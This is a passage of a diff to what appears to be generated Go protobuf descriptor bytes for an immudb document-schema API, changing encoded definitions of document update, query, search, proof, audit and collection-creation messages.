0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, - 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x33, 0x0a, - 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x22, 0x5a, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xbc, - 0x01, 0x0a, 0x0a, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3b, 0x0a, - 0x0a, 0x6e, 0x75, 0x6c, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, - 0x09, 0x6e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, - 0x6d, 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, - 0x48, 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, - 0x23, 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x95, 0x01, - 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, - 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, - 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x40, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, - 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, - 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xa1, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x3a, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, - 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, - 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x79, 0x0a, 0x16, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, - 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, - 0x50, 0x61, 0x67, 0x65, 0x22, 0xbc, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, - 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, - 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x69, 0x64, - 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, 0x6c, - 0x69, 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, - 0x0f, 0x72, 0x61, 0x77, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x72, 0x61, 0x77, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, - 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, - 0x65, 0x22, 0x85, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, - 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, - 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, - 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x80, 0x01, 0x0a, 0x0d, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, - 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, - 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x5f, 0x0a, 0x0b, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, - 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, - 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, - 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, + 0x6e, 0x49, 0x64, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x22, 0x5a, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xbc, 0x01, + 0x0a, 0x0a, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3b, 0x0a, 0x0a, + 0x6e, 0x75, 0x6c, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x09, + 0x6e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, + 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x48, + 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, + 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x95, 0x01, 0x0a, + 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, + 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, + 0x69, 0x65, 0x6c, 0x64, 0x12, 0x40, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, + 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x22, 0xa1, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, + 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, - 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 